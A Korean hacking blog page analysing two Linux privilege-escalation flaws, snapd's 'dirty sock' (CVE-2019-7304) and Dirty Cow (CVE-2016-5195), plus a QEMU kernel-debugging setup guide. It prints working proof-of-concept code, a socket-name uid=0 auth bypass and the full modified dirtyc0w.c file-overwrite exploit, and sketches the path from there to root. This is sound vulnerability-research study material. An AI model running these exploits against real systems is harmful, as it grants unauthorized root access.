CVE-2019-7304(dirty sock)

해킹/ kernel 2019.03.05 15:10

background


cve-2019-7304는 local user에서 root로의 권한 상승을 위한 LPE 취약점이다. snappy라는 third party 패키지 매니져 데몬의 취약점을 이용한다. 대표적으로 우분투가 이 패키지를 기본으로 사용하며 Arch Linux CentOS, Debian, Fedora, Gentoo Linux, Solus, Manjaro Linux, Linux Mint, Open Embedded, Raspbian, OpenWrt, openSUSE등 다양한 distro에서 사용 가능한걸로 알려져 있다.

snap 데몬 documentation - 인증 관련
https://github.com/snapcore/snapd/wiki/REST-API 의 snapcore github wiki를 확인하면 /run/snapd.socket이라는 이름의 소켓 파일을 통해 https 리퀘스트를 받아 작동하는 것을 알 수 있다. 또 일반적인 INET 소켓이 아니라 UNIX socket을 사용한다고도 명시되어 있다.
아래쪽 Authentication 부분을 읽어보면 기능에 따라 root 권한에서만 실행되는 기능이 있고 open access인 기능이 있다. REST-API를 읽어보면 기능별로 인증이 필요한지 여부와 request, response 형식이 상세하게 나와있다.



linux manual - UNIX 타입 소켓
linux 매뉴얼을 살펴보면 unix 타입 소켓은 네트워크가 아닌 내부 프로세스끼리의 통신을 위한 소켓 타입이라고 한다. 네트워크를 사용하지 않는 프로세스들이 굳이 포트번호를 잡아먹지 않게 하기 위해 존재하는게 아닐까 추측해본다. 특이한점은 INET 소켓처럼 포트와 ip주소를 정해주는게 아니라 소켓 파일을 생성하고 그 소켓의 경로를 사용해서 통신한다. 이후 recv, send의 구현은 일반적인 소켓과 별 차이점이 없었다.


snapd가 생성한 UNIX 소켓
snapd 데몬은 위와같이 /run 디렉토리 위에 snapd.socket이라는 UNIX 소켓을 생성하고 대기한다.
dirty_sock 취약점은 이 소켓을 이용해서 uid를 파싱할때 발생하는 인증 취약점이다. 인증을 우회한 후에는 snapd의 자체 기능을 이용해서 새로운 sudo user를 만드는 방식으로 공격한다.



vulnerable code


Request의 인증을 검사하는 canAccess()함수
snapd/daemon/daemon.go 파일의 canAccess() 함수에서 사용자가 요청한 리퀘스트에 접근 권한이 존재하는지 여부를 검사한다. 코드를 읽어보면 알 수 있는 ucrednetGet() 함수의 반환값으로 uid를 판별하고 별다른 체크 없이 uid == 0일 경우 accessOK를 리턴하는 것을 볼 수 있다. 취약점은 저 ucrednetGet()함수와 r.RemoteAddr을 파싱하는 과정에서 발생한다.


ucrednetGet() 함수 내용
ucrednapd/daemon/ucrednet.go 파일에 존재한다. 함수 내부로 들어와보면 인자로 문자열 형태의 remoteAddr 변수를 받는것을 알 수 있다. 두번째 박스를 보면 이 remoteAddr이 ';'를 기준으로 토크나이즈 되어 파싱된다. 세번째 박스 부분에서는 "uid="라는 prefix 이후에 존재하는 숫자를 int형으로 변환해서 uid 변수로 넣은 후 리턴한다.



remoteAddr string을 반환하는 String() 함수
마지막으로 문제가 되는 부분이 이 String 함수인데 ucrednetGet() 함수로 들어갈 인자 remoteAddr을 반환하는 함수다. Sprintf 함수를 사용해서 문자열 형태로 만들어주는데 저부분에서 문제가 발생한다.

문제는 이게 하나의 문자열로 붙어서 인자로 전달되며 ucrednetGet()함수는 for문 안쪽에서 루프를 돌며 이부분을 토크나이징 한다는 점이다. 토크나이즈 되는 remoteAddr 문자열은 "uid=~~;pid=~~;socket=/run/snapd.socket;[사용자가 생성한 소켓 경로]" 의 형태로 Sprintf에 의해 만들어진다. 이 문자열을 돌면서 uid를 파싱하기 때문에 사용자가 소켓 이름을 "~~~.socket;uid=0" 이런식으로 생성할 경우 처음에는 실제 uid값을 가져오지만  마지막에 uid를 0으로 인식하게 된다. 이게 사실상 CVE-2019-7304 인증실패 취약점의 끝이다.





proof of concept


note: poc와 익스플로잇은 취약한 버전중 2.37 버전을 이용했다. https://github.com/snapcore/snapd 의 깃허브 주소에 코드와 빌드 정보가 자세하게 설명되어 있다.
test.py (python2)
  1. from socket import *  
  2. import os  
  3. sockname='/tmp/oxqo.sock'  
  4.   
  5. sock = socket(AF_UNIX, SOCK_STREAM)  
  6. sock.bind(sockname)  
  7. sock.connect('/run/snapd.socket')  
  8.   
  9. req = 'POST /v2/logout HTTP/1.1\r\n'  
  10. req += 'Host: localhost\r\n\r\n'  
  11.   
  12. sock.send(req)  
  13.   
  14. print sock.recv(4092)  
  15. os.remove(sockname)  
String()함수를 동적으로 디버깅 하기 위해 간단하게 snapd 데몬에 http request를 보내는 프로그램을 작성했다. 위 코드처럼 내가 새로운 UNIX socket을 바인드 하고 snapd의 소켓인 /run/snapd.socket에 connect 한 뒤 HTTP requset를 전송할 수 있다.




breakpoint - ucrednet.go:76
String() 함수에서 Sprintf()를 호출하는 부분 쯤에 브레이크를 걸고 poc 코드를 돌려 확인해보면 ucrednetAddr 구조인 wa 변수의 구조를 알 수 있다. 여기서 네번째에 인자로 들어가는 Addr은 다시 한겹의 구조체를 가지는데 이부분을 %s 포맷으로 Sprintf할 때 어떤 값이 나오는지 주소를 따라가보면 클라이언트 소켓 정보를 의미한다는 것을 알 수 있다.


test.py 결과
test.py 코드를 실행하면 위와 같이 test.py 코드로 리퀘스트를 보내면 /v2/logout 페이지는 root access가 필요하기 때문에 401 Unauthorized 에러가 돌아온다. 
poc.py (python2)
  1. from socket import *  
  2. import os  
  3. sockname='/tmp/oxqo.sock;uid=0'  
  4.   
  5. sock = socket(AF_UNIX, SOCK_STREAM)  
  6. sock.bind(sockname)  
  7. sock.connect('/run/snapd.socket')  
  8.   
  9. req = 'POST /v2/logout HTTP/1.1\r\n'  
  10. req += 'Host: localhost\r\n\r\n'  
  11.   
  12. sock.send(req)  
  13.   
  14. print sock.recv(4092)  
  15. os.remove(sockname)  
취약점을 트리거 하는 poc 코드는 위와 같다. test.py에서 socket의 이름만 뒤에 ;uid=0을 붙인 형태로 바꿔준다. 이 방법을 통해 uid=0 권한으로의 우회가 된다면 결과가 401 Unauthorized 외에 다른 형태로 나타날 것이다. poc 코드를 실행한 뒤 snapd를 디버깅해보면 아래와 같은 결과가 나타난다.



breakpoint - ucrednet.go:76
test.py에서 브레이크를 걸었던 Sprintf() 부분. 당연히 Sprintf의 클라이언트 소켓 부분은 ";uid=0" 문자열이 붙은 상태다.



breakpoint - github.com/snapcore/snapd/daemon.ucrednetGet
ucrednetGet 함수에서 인자로 넘어오는 remoteAddr 변수를 확인하면 좀더 명확하다. ucrednetGet() 함수가 실행되고 remoteAddr 변수의 마지막 부분에 uid=0 토큰이 추가된 것 처럼 보이는(실제로는 소켓 이름에 ";uid=0"이 포함된거지만) 것을 확인할 수 있다. 당연히 for문 안에서 저 문자열을 파싱하면 uid 변수가 한번은 1000, 한번은 0으로 입력되서 반환시에 전달되는 uid값은 0이 될 것이다. 캡쳐가 너무 많고 그부분까지 확인할 필요성을 느끼지 못해 포스팅에 적지는 않지만 uid에 들어가는 값을 확인하고 싶다면 ucrednetGet() 함수 주소를 구한 뒤 +516 위치에 브레이크를 걸고 $rsp+0x20 주소를 확인하면 된다. 


poc.py 결과
결과는 test.py때의 401 인증실패가 아니라 400 Bad Request가 돌아왔다. 로그인이 안된 상태에서 로그아웃을 시도했기 때문이다. 하지만 이 결과를 보면 확실히 root로의 권한 우회가 성공했다는걸 알 수 있고 그러므로 root 권한으로 snap의 기능을 이용해 공격이 가능할 것이다.




exploit


익스플로잇 방법은 poc 버전에 따라 두종류로 나뉜다:
1. snapd가 제공하는 메일을 이용한 로그인 기능이 있는데 당연히 이를 위한 새로운 유저 생성 기능(POST /v2/create-user)도 존재한다. 이 기능을 이용하면 새로운 유저가 할당된다. 이때 sudoer 필드를 true로 설정해줘 sudo user를 생성할 수 있다.

2. 패키지를 설치하는 과정에서 install.sh처럼 실행될 bash script를 sideload 할 수 있다. 이 bash script에 dirty_sock이라는 새로운 sudo 유저로 생성하는 코드를 집어넣는다. 설치 과정은 root 권한에서 일어나므로 인증우회에 성공했다면 root 권한을 얻을 수 있다(애초에 sudo권한 없는 유저가 패키지 설치할 수 있는게 취약점임). 이 방법을 사용하면 이메일을 만들 필요 없이 공격이 가능하지만 snapd가 최신버전으로 업데이트 되며 취약점이 사라진다. 제로데이일때는 항상 유효한 방법일듯.



snap daemon documentation - create-user 기능
1.의 create_user 기능의 documentation 부분이다. root 권한으로만 호출이 가능한데 이 dirty_sock 취약점으로 우회가 가능하다. email과 sudoer인지 여부를 리퀘스트로 보내고 username과 ssh-key 페어를 응답으로 받는다.





snap daemon documentation - sideload request 기능
2.에서 설명한 패키지 설치 (POST /v2/snaps)기능. multipart 데이터로 snap content를 전송하면 action은 자동으로 install이 실행되고 name="devmode"일 경우에는 security confinement를 disable 해준다고도 되어있다. 마지막에는 filename이 들어간 필드 다음에 snap file data를 첨부하는듯.

익스플로잇 코드는 위 링크의 github에 잘 정리되어 있다. 굳이 포스팅의 길이를 늘리고 싶지 않기 때문에 전문 첨부는 패스.


patch 

2.37, 2.37.1 버전 git diff 결과
다른 변경점도 상당히 많지만 요점은 저부분이다. 특이하게도 ucrednet이라는 새로운 타입을 만들어버렸다. ucrednetAddr 구조체도 pid uid socket을 다 지우고 ucrednet 구조체를 가리키게 바뀐게 보인다. 그리고 기존에 ucrednetAddr 구조체를 인자로 받넌 String() 함수가 새로생긴 ucrednet 구조체를 인자로 받게 변경되었다. 하지만 가장 중요한 변경점은 저 String() 함수에 더이상 필요없는 클라이언트 소켓 이름을 추가하지 않도록 바뀌었다는 점이다.

끝-


'해킹/ > kernel' 카테고리의 다른 글

CVE-2019-7304(dirty sock)  (0) 2019.03.05
kernel 1-day 분석 환경설정하기  (0) 2019.01.23
Dirty Cow (CVE-2016-5195) 분석 - 2  (0) 2019.01.22
Dirty Cow (CVE-2016-5195) 분석 - 1  (0) 2019.01.22
Comments 0
Trackbacks 0
Tags
Social

gdb 한글 메뉴얼

해킹/리버싱 2019.01.24 14:35

http://korea.gnu.org/manual/release/gdb/gdb.html


아직도 gdb를 모르는게 많다..

'해킹 > 리버싱' 카테고리의 다른 글

gdb 한글 메뉴얼  (0) 2019.01.24
rev task9 문제  (0) 2015.11.06
incognito - insideout  (0) 2015.10.21
Comments 0
Trackbacks 0
Tags
Social

kernel 1-day 분석 환경설정하기

해킹/ kernel 2019.01.23 17:07

0.환경

VMware® Workstation 15 Pro, 15.0.0 build-10134415
우분투 18.04.1 LTS VMware 64bit

 

 
당연한 이야기지만 잘 하는 사람은 이 포스팅이 필요가 없다. 처음 공부하면서 삽질을 상당히 오래 할 수밖에 없었는데 그중 해결에 도움이 되었던 삽질만 모아서 글을 쓰는거라 효율적인 방법은 분명 아닐 수 있다.
환경은 위와 같이 우분투 VM에서 진행했다. 윈도우 환경에서의 커널 빌드나 qemu 사용, 디버깅 등에 익숙한 사람들은 상관 없겠지만 처음 커널 익스플로잇을 공부하는 상황에서 최대한 정보가 많은 환경을 기준으로 하다 보니 Ubuntu VM에서 커널을 빌드하고 qemu에서 커널을 실행시키며 디버깅을 진행했다.


커널 디버깅 절차
  1. Ubuntu Vm 내에 qemu 설치
  2. debootstrap을 이용해 rootfs 이미지 생성
  3. 커널 빌드
  4. qemu에서 빌드한 커널 실행
  5. 디버거 실행, 코드 연결
  6. rootfs 이미지 세팅


1. qemu 설치


sudo apt-get install qemu
넘나 당연한 것...


이렇게 설치된다. qemu-ARCH 이렇게 되어있는 것은 해당 아키텍쳐의 바이너리를 실행하기 위한 것으로 알고 있고 qemu-system-ARCH 형식으로 된 것들이 VM처럼 작동해서 내가 원하는 커널을 디버깅하게 해줄 친구들이다.




2. debootstrap을 사용한 rootfs 이미지 생성


qemu에서 커널이 동작하기 위해 파일시스템(rootfs)가 필요하다. debootstrap을 이용하면 debian distro를 디렉토리에 설치할 수 있다. qemu에서 사용할 이미지가 필요하므로 qemu-img를 이용해 이미지를 만들어 디렉토리에 mount 한 후 debootstrap으로 debian rootfs를 이미지가 mount된 폴더 내에 설치한다.


IMG=qemu-image.img
DIR=mount-point.dir
qemu-img create $IMG 1g
mkfs.ext2 $IMG
mkdir $DIR
sudo mount -o loop $IMG $DIR
sudo debootstrap --arch i386 jessie $DIR
sudo umount $DIR
rmdir $DIR

당연하지만 7번째 라인에 --arch i386을 원하는 아키텍쳐에 맞게 설정하면 될듯. 4번째 줄에 mkfs도 원하는 파일시스템으로 바꿀 수 있다.
스크립트를 해석하면 qemu-img로 빈 이미지를 만들고 파일시스템을 지정해 준 다음 마운트포인트가 될 디렉토리를 생성한다. 이 디렉토리에 빈 이미지를 mount 해주고 debootstrap으로 원하는 시스템의 rootfs 파일들을 다운받은 뒤 umount해줘서 Debian rootfs 파일들을 담은 이미지가 만들어지게 된다.

mount 해서 확인해보면 리눅스의 "/" 하나가 폴더안에 들어가 있다.



3. kernel 빌드하기


git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
git tag –l | less
git checkout <tag(v3.8 or ...)>


먼저 git에서 커널 소스코드를  다운로드 하고 git tag로 버전명을 확인, checkout한다. Dirty Cow 취약점은 2.6.22부터 4번대까지 여러 버전에 걸쳐서 존재했던 취약점이라 안전하게 3.8버전으로 checkout 해주었다.



sudo apt-get install git build-essential kernel-package fakeroot libncurses5-dev libssl-dev ccache
커널 빌드에 필요한 기본적인 dependency들을 설치한다. 

이제 문제의 make  환경설정이 남았는데 한번에 되길 바라진 않았지만 온갓 버그들이 난무했다. 포기한 부분 말고 해결한 것 위주로만 서술한다.
kernel/bounds.c:1:0: error: code model kernel does not support PIC mode
나름대로 설정을 해서 make를 돌려보면 이 에러가 가장 많이 발생했다. 경험상 gcc 버전 호환이 안되는 문제일 가능성이 가장 높다.


리눅스가 설치된 디렉토리에서 compiler-gcc 헤더파일을 찾아보면 대충 어떤 버전으로 빌드가 가능한지 알 수 있다. 내 우분투는 gcc7을 쓰는데 무려 gcc3과 4밖에 지원하지 않는 듯 하다.


sudo apt-get install gcc-4.8
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.8 50
update-alternatives --config gcc



호환되는 gcc 버전을 설치한 후에 Priority를 50으로 지정해서 기본 gcc를 4.8로 지정해줬다. 찝찝하니 끝나고 다시 돌려놓을 생각.


번외:

혹시 위의 PIC 버그가 gcc 버전문제가 아니라면 Makefile에서 KBUILD_CFLAGS 부분을 위처럼 수정하면 빌드가 가능하다. 내 경우에 gcc 버전 문제였기 때문인지 저렇게 해서 빌드가 성공해도 qemu에서 정상적으로 돌아가지는 않았다.



cp /boot/config-`uname -r` .config
./scripts/config -e DEBUG_INFO -e GDB_SCRIPTS
make menuconfig
make

현재 ubuntu 환경의 config 파일을 가져와서 수정하는 방식으로 .config 파일을 만들 수 있다. 디버깅에 사용할 빌드이기 때문에 DEBUG_INFO와 GDB_SCRIPTS를 enable 해준다. 이외에 세세한 사항들을 조절하기 위해서는 menuconfig로 들어가서 만져주면 된다.
물론 이방법 외에도 default cofnig를 사용하는 방식이 있다. 첫문장의 /boot/config=`uname -r`을 사용하지 않고  make i386_defconfig 이런 방식으로 해주면 되는데 나는 이렇게 했을때 빌드가 안되거나 되도 실행이 도중에 멈춰서 복사하는 방식을 사용했다.

make 도중 이런 에러도 발생했다. 에러메시지를 보면 kernel/timeconst.pl 의 373번째 라인에 defined를 사용하면 안되는데 사용했다는 에러인 것 같다. 

 :before

: after

해당 파일을 vi 에디터로 열어서 defined만 지워주고 make clean && make 했더니 해결됐다. 컴파일에 성공한 후 설정한 아키텍쳐 디렉토리 아래에 보면 bzImage 파일이 생기는데 이 파일이 qemu에서 사용할 커널 이미지 파일이다.



4. qemu에서 빌드한 커널 실행


#!/bin/bash

qemu-system-x86_64 -kernel bzImage \
-append "root=/dev/sda rw console=ttyS0 nokaslr" \
-m 512 \
-hda qemu-image.img \
-net user,hostfwd=tcp::2222-:22 \
--nographic \
-s -S

qemu를 통한 실행 명령어
-kernel bzImage : 빌드한 커널 이미지, linux/~~~ 에 빌드된걸 실행하는 디렉토리로 가져왔음. 
-append
    root=/dev/sda rw : ubuntu가 사용하고 있는 /dev/sda의 공간을 사용함, rw가 없으면 쓰기가 안되서 root여도 시스템 파일 수정이 안됨
    console=ttyS0 : 지금 사용하고 있는 터미널로 콘솔이 떨어짐 물론 ssh로 접속중이라면 pty 번호가 들어가면 똑같이 됨
    nokalsr : 커널 aslr disable
-m 512 : 메모리 할당
-hda qemu-image.img : 2번에서 만들었던 rootfs 이미지
-net user,hostfwd=tcp::2222=:22 : 네트워크 되면 ssh를 연결해서 접속해려고 포트포워딩을 해줌. 안됨. 필요없음.
--nographic : 위에 -append "console=ttyS0"랑 연관되서 그래픽 표시를 안하고 콘솔만 사용하겠다는 뜻
-s -S : -s는 기본 1234번 포트로 디버거 접속을 대기하겠다는 뜻. -S 는 커널 시작 코드에서 멈춘 후 대기하겠다는 뜻



5. 디버거 실행



make하면 기본 git 폴더에 vmlinux라는 바이너리가 생성된다. 이 바이너리를 gdb에 로드해서 심볼을 읽고 qemu가 생성한 1234번 리모트 포트에 붙어서 디버깅을 시작할 수 있다. 명령어는 "target remote:1234". attach에 성공하고 c 를 입력하면 qemu에서 부팅이 시작된다.


6. rootfs 이미지 세팅

기본적으로 2에서 만든 qemu-img.img의 root 패스워드도 모르는 상태다. qemu-img.img를 mount해준 뒤 chroot로 root path를 고정해놓고 passwd 명령어로 root 패스워드를 변경할 수 있다.

이렇게 mnt라는 폴더를 만들고 qemu-img를 mount 해서 root 패스워드도 지정할 수 있고 apt-get으로 여러 vim, gcc등 이것저것 설치할 수도 있다. 아직 네트워크 디바이스 생성이 안되는 문제를 해결하지 못해서 지금까지의 분석은 이런식으로 필요한 것들을 설치한 후 umount해주고 qemu를 실행하는 방식을 취하고 있다. 해결이 되면 추가로 포스팅 할 예정.
수정이 끝난 후 exit로 chroot를 나갈 수 있다. 이후 꼭 mount 해준 폴더를 umount 해주는 편이 좋을듯 계속 mount되어있으면 무언가 꼬일수도 있다.
끝 - 

7. 추가 - Debootstrap rootfs 생성 관련 옵션
19.03.09



sudo apt-get install debootstrap
debootstrap 설치

mkdir qemu
sudo debootstrap --include=openssh-server,curl,tar,gcc,\
libc6-dev,time,strace,sudo,less,psmisc,\
selinux-utils,policycoreutils,checkpolicy,selinux-policy-default \
stretch qemu
데비안 이미지를 위한 유틸리티 추가

set -eux
# Set some defaults and enable promtless ssh to the machine for root.
sudo sed -i '/^root/ { s/:x:/::/ }' qemu/etc/passwd
echo 'T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100' | sudo tee -a qemu/etc/inittab
printf '\nauto enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a qemu/etc/network/interfaces
echo 'debugfs /sys/kernel/debug debugfs defaults 0 0' | sudo tee -a qemu/etc/fstab
echo "kernel.printk = 7 4 1 3" | sudo tee -a qemu/etc/sysctl.conf
echo 'debug.exception-trace = 0' | sudo tee -a qemu/etc/sysctl.conf
echo "net.core.bpf_jit_enable = 1" | sudo tee -a qemu/etc/sysctl.conf
echo "net.core.bpf_jit_harden = 2" | sudo tee -a qemu/etc/sysctl.conf
echo "net.ipv4.ping_group_range = 0 65535" | sudo tee -a qemu/etc/sysctl.conf
echo -en "127.0.0.1\tlocalhost\n" | sudo tee qemu/etc/hosts
echo "nameserver 8.8.8.8" | sudo tee -a qemu/etc/resolve.conf
echo "ubuntu" | sudo tee qemu/etc/hostname
sudo mkdir -p qemu/root/.ssh/
rm -rf ssh
mkdir -p ssh
ssh-keygen -f ssh/id_rsa -t rsa -N ''
cat ssh/id_rsa.pub | sudo tee qemu/root/.ssh/authorized_keys
# Build a disk image
dd if=/dev/zero of=qemu.img bs=1M seek=2047 count=1
sudo mkfs.ext4 -F qemu.img
sudo mkdir -p /mnt/qemu
sudo mount -o loop qemu.img /mnt/qemu
sudo cp -a qemu/. /mnt/qemu/.
sudo umount /mnt/qemu
rootfs에 여러 설정들을 추가해서 이미지를 만들어 내는 스크립트

자세한 설명은 생략하거나 추후 보충



















'해킹/ > kernel' 카테고리의 다른 글

CVE-2019-7304(dirty sock)  (0) 2019.03.05
kernel 1-day 분석 환경설정하기  (0) 2019.01.23
Dirty Cow (CVE-2016-5195) 분석 - 2  (0) 2019.01.22
Dirty Cow (CVE-2016-5195) 분석 - 1  (0) 2019.01.22
Comments 0
Trackbacks 0
Tags
Social

Dirty Cow (CVE-2016-5195) 분석 - 2

해킹/ kernel 2019.01.22 14:12

지난 글에 이어서 Dirty Cow 취약점 PoC를 디버깅 해보고 PoC를 이용해서 root 권한을 얻고 Dirty Cow 분석 포스팅을 마친다.


Proof - Debugging (v3.8 기준)


PoC - modified
  1. /* 
  2. ####################### dirtyc0w.c ####################### 
  3. $ sudo -s 
  4. # echo this is not a test > foo 
  5. # chmod 0404 foo 
  6. $ ls -lah foo 
  7. -r-----r-- 1 root root 19 Oct 20 15:23 foo 
  8. $ cat foo 
  9. this is not a test 
  10. $ gcc -pthread dirtyc0w.c -o dirtyc0w 
  11. $ ./dirtyc0w foo m00000000000000000 
  12. mmap 56123000 
  13. madvise 0 
  14. procselfmem 1800000000 
  15. $ cat foo 
  16. m00000000000000000 
  17. ####################### dirtyc0w.c ####################### 
  18. */  
  19. #include <stdio.h>  
  20. #include <sys/mman.h>  
  21. #include <fcntl.h>  
  22. #include <pthread.h>  
  23. #include <unistd.h>  
  24. #include <sys/stat.h>  
  25. #include <string.h>  
  26. #include <stdint.h>  
  27.   
  28. void *map;  
  29. int f;  
  30. struct stat st;  
  31. char *name;  
  32.    
  33. void *madviseThread(void *arg)  
  34. {  
  35.   char *str;  
  36.   str=(char*)arg;  
  37.   int i,c=0;  
  38.   for(i=0;i<100000000;i++)  
  39.   {  
  40. /* 
  41. You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 
  42. > This is achieved by racing the madvise(MADV_DONTNEED) system call 
  43. > while having the page of the executable mmapped in memory. 
  44. */  
  45.     c+=madvise(map,100,MADV_DONTNEED);  
  46.   }  
  47.   printf("madvise %d\n\n",c);  
  48. }  
  49.    
  50. void *procselfmemThread(void *arg)  
  51. {  
  52.   char *str;  
  53.   str=(char*)arg;  
  54. /* 
  55. You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 
  56. >  The in the wild exploit we are aware of doesn't work on Red Hat 
  57. >  Enterprise Linux 5 and 6 out of the box because on one side of 
  58. >  the race it writes to /proc/self/mem, but /proc/self/mem is not 
  59. >  writable on Red Hat Enterprise Linux 5 and 6. 
  60. */  
  61.   int f=open("/proc/self/mem",O_RDWR);  
  62.   int i,c=0;  
  63.   for(i=0;i<100000000;i++) {  
  64. /* 
  65. You have to reset the file pointer to the memory position. 
  66. */  
  67.     lseek(f,(uintptr_t) map,SEEK_SET);  
  68.     c+=write(f,str,strlen(str));  
  69.   }  
  70.   printf("procselfmem %d\n\n", c);  
  71. }  
  72.    
  73.    
  74. int main(int argc,char *argv[])  
  75. {  
  76. /* 
  77. You have to pass two arguments. File and Contents. 
  78. */  
  79.   if (argc<3) {  
  80.   (void)fprintf(stderr, "%s\n",  
  81.       "usage: dirtyc0w target_file new_content");  
  82.   return 1; }  
  83.   pthread_t pth1,pth2;  
  84. /* 
  85. You have to open the file in read only mode. 
  86. */  
  87.   f=open(argv[1],O_RDONLY);  
  88.   fstat(f,&st);  
  89.   name=argv[1];  
  90. /* 
  91. You have to use MAP_PRIVATE for copy-on-write mapping. 
  92. > Create a private copy-on-write mapping.  Updates to the 
  93. > mapping are not visible to other processes mapping the same 
  94. > file, and are not carried through to the underlying file.  It 
  95. > is unspecified whether changes made to the file after the 
  96. > mmap() call are visible in the mapped region. 
  97. */  
  98. /* 
  99. You have to open with PROT_READ. 
  100. */  
  101.   map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);  
  102.   printf("mmap %zx\n\n",(uintptr_t) map);  
  103. /* 
  104. You have to do it on two threads. 
  105. */  
  106.   
  107. //custom!!  
  108.   int file=open("/proc/self/mem",O_RDWR);  
  109.   lseek(file, (uintptr_t)map, SEEK_SET);   
  110.   char read_buf[30];  
  111.   read(file, read_buf, 29);  
  112.   printf("read: %s\n", read_buf);  
  113.     
  114.   lseek(file, (uintptr_t)map, SEEK_SET);  
  115.   write(file, argv[2], strlen(argv[2]));  
  116. //custom!!  
  117.   
  118.   pthread_create(&pth1,NULL,madviseThread,argv[1]);  
  119.   pthread_create(&pth2,NULL,procselfmemThread,argv[2]);  
  120. /* 
  121. You have to wait for the threads to finish. 
  122. */  
  123.   pthread_join(pth1,NULL);  
  124.   pthread_join(pth2,NULL);  
  125.   return 0;  
  126. }  
github에 존재하는 poc를 사용해 디버깅을 시도하니 madvise 스레드가 생각보다 훨씬 빨리 나와서 레이스 컨디션을 이용한 익스플로잇 자체는 매우 빠르게 볼 수 있어 좋지만 정상적인 Copy on Write 과정을 볼 수 없는게 아쉬웠다. 그래서 내맘대로 라인 107~116까지를 추가해서 스레드 생성 전에 정상적인 Copy on Wirte를 발생시켰다.


breakpoints:
__get_user_pages+278
__get_user_pages+245
madvise_dontneed
__access_remote_vm+90
__access_remote_vm+312

실행 과정을 확인하기 위한 포인트로 브레이크포인트는 위와 같이 5군데를 잡았다. 
  1. __get_user_pages+278 는 __get_user_pages 함수에서 follow_page 함수를 호출한 직후로 page 변수가 어떻게 변화하는지를 보기 위해 넣었다.
  2. __get_user_pages+245 는 취약점 원인이 되는 부분으로 foll_flags에서 FOLL_WRITE 권한을 제거하는 부분이어서 브레이크하여 확인한다.
  3. madvise_dontneed 는 madvise(MADV_DONTNEED)를 처리해 주는 부분으로 이부분이 실행된 후 page가 버려지는 것을 보기 위해 넣었다.
  4. __access_remote_vm+90는 copy_to_user_page를 호출하는 부분으로 실제로는 memcpy가 호출되며 실제 물리 메모리에 값이 쓰여지는 것을 확인할 수 있다. 이 부분을 통해 user page가 가리키는 부분에 값을 write 한다.
  5. __access_remote_vm+312 는 copy_from_user_page 4번과 반대로 read 할때 페이지에 있는 값을 memcpy 하는 부분이다.



우선 qemu에서 poc 코드를 만들고 root 권한 read only 파일을 만들어줬다. 그리고 test라는 유저 계정에서 위와 같이 PoC를 실행시켜서 취약점을 트리거하며 디버깅을 진행했다.


처음에는 이렇게 __get_user_pages에서 브레이크가 걸린다. 하지만 콜스택을 보면 main이나 스레드에서 호출 하는게 아니라 do_execve가 실행되며 프로세스가 초기화 될 때 발생하는 페이지 탐색이므로 무시하고 넘어간다.



몇번정도 넘어가니 mem_read를 하기 위해서 __get_user_pages가 호출되고 있다. follow page가 호출되고 처음엔 page 변수가 0이지만 while loop를 한바퀴 돌고 오면 정상적으로 페이지를 찾게 된다.


한번 더 continue 하면 이제 read할 페이지 주소가 나타난다. 0xffffea000071ca00이 실제 페이지 구조체의 메모리 주소다. 이 값을 기억해 두고 write에 의해 __get_user_pages가 호출됐을 때  이 페이지에 쓰는지 확인해 보자.



다음으로 copy_from_user_page가 처음으로 호출되어 브레이크가 걸렸다. memcpy를 호출하는 부분이며 현재 dest에는 12341111같은 값이 써져있는 것으로 보이고 여기에 복사하는 $rsi 값이 실제 매핑된 디스크의 물리 메모리 주소다 0xffff88001c728000을 기억해 두자


이제 write과정에서 __get_user_pages가 호출됐고 page는 0인 상황이다. 포스팅에 사진이 너무 많아지므로 이제 0으로 나오는 부분은 살포시 스킵하고 넘어가도록 한다.


while loop 안쪽에서 FOLL_WRITE 권한을 버리는 부분에서 브레이크 포인트가 걸렸다. disassemble 된 값을 봤을 때 eax와 0xfffffffe 를 and 연산하는 것으로 봐서 FOLL_WRITE가 1임을 간접적으로 확인할 수 있다. 아래 주석처리된 부분을 보면 현재 foll_flags는 0x17이므로 권한이 빠지면 0x16이 될 것이다.


while loop을 한바퀴 돌고 다시 follow_page가 호출된 다음 부분이다. 보이는 것과 같이 0xffffea00006a2c80으로 read할때의0xffffea000071ca00에서 page 구조체의 주소가 달라진 것을 확인할 수가 있다.0xffffea000071ca00이 원본 페이지 구조체의 주소고 0xffffea00006a2c80이 Copy on Write를 통해 생성된 private copy의 구조체라는 것을 알 수 있다.


이제 private copy 페이지로 memcpy가 일어나는데 보이는것 처럼 page 객체의 주소 뿐 아니라 실제 버퍼가 있는 메모리 주소도 $rdi 값을 보면 0xffff88001c728000에서 0xffff88001a8b2000로 바뀐 것을 알 수 있다.


이렇게 한번의 read와 한번의 write가 이루어 진 후 본격적으로 madvise와 procselfmem 스레드가 반복 호출되기 시작한다. 위에서 확인해 봣던 copy on write 과정에서 FOLL_WRITE권한을 제거한 시점부터 follow_page 함수가 호출되기 전에 madvise가 끼어들어 private copy를 날려버리는 순서로 진행되면 공격이 성공할 것이다!



continue 하다보면 위에 글에서 업급한 브레이크 포인트 순서상 1->2->3 번 브레이크 포인트가 연속으로 호출되면 성공이다. 캡쳐에서는 브레이크 포인트를 여러번 넣는 바람에 번호가 꼬였다. 실행도중 1->2->3->1->1 순서로 브레이크 포인트가 히트 되는것을 확인했고 이때 page 구조체를 보니 무려 0xffffea000071ca00가 들어있었다. read과정에서 확인했던 실제 디스크의 map 에 대한 페이지 구조체의 주소다. 어떤 권한을 가지고 follow_page가 호출되었는지 보기 위해 foll_flags를 확인하니 역시 0x16으로 FOLL_WRITE가 빠져있는 것을 확인할 수 있었다.


마지막으로 memcpy가 되는 부분까지 확인했다. 실제 디스크에 대한 map의 버퍼인 ~로 memcpy가 일어나고 있다. 이 루틴이 실행되고 나면 실제 R/O 디스크에 값이 쓰여저 공격이 성공한 상태가 된다.


qemu에서 인터럽트를 걸고 gdb의 브레이크를 모두 disable 해준 다음 continue하는 방식으로 프로그램을 바로 종료시켰다.  RUroot를 읽어보니 예상대로 "I am R00t !!!!!!!"로 정상적으로 값이 변조되었다. Race condition의 특성상 디버깅이 매우 지저분하고 길어졌는데 마지막으로 이 취약점을 활용해서 root 권한을 얻어보고 기나긴 포스팅을 마무리 한다.



Exploit


